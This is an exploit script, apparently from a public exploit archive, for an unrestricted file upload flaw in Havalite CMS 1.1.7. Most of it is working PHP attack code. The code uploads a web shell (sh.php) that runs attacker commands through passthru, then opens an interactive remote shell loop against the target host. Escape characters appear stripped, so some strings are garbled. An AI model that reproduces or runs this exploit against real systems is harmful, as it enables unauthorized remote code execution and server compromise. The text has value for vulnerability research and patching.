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# Title : Havalite CMS 1.1.7 - Unrestricted File Upload Exploit
# Published : 2013-06-17
# Author :
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<?php
/*
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / ` /
/ XXXXXX /______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
Exploit Title : Havalite CMS Unrestricted File Upload Exploit
Date : 16 June 2013
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://havalite.com/
Software Link : http://jaist.dl.sourceforge.net/project/havalite/havalite_1.1.7.zip
Version : 1.1.7
Tested on : Window and Linux
#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################
/havalite/upload.php
#####################################################
DESCRIPTION
#####################################################
Restricted access to this script isn't properly realized (Don't require authentication) ,
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn't properly checked.
#####################################################
EXPLOIT
#####################################################
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("n[-] No response from {$host}:80n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "n+-----------------------------------------------+";
print "n| Havalite CMS Unrestricted File Upload Exploit |";
print "n+-----------------------------------------------+n";
if ($argc < 3)
{
print "nUsage......: php $argv[0] <host> <path>n";
print "nExample....: php $argv[0] localhost /";
print "nExample....: php $argv[0] localhost /havalite/n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "--o0oOo0orn";
$payload .= "Content-Disposition: form-data; name="files[]"; filename="sh.php"rn";
$payload .= "Content-Type: application/octet-streamrnrn";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD]));rn";
$payload .= "--o0oOo0o--rn";
$packet = "POST {$path}havalite/upload.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Referee: {$host}{$path}havalite/hava_upload.phprn";
$packet .= "Content-Length: ".strlen($payload)."rn";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0orn";
$packet .= "Connection: closernrn{$payload}";
http_send($host, $packet);
$packet = "GET {$path}/havalite/tmp/files/sh.php HTTP/1.0rn";
$packet .= "Host: {$host}rn";
$packet .= "Cmd: %srn";
$packet .= "Connection: closernrn";
while(1)
{
print "nHavalite-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("n[-] Exploit failed!n");
}
?>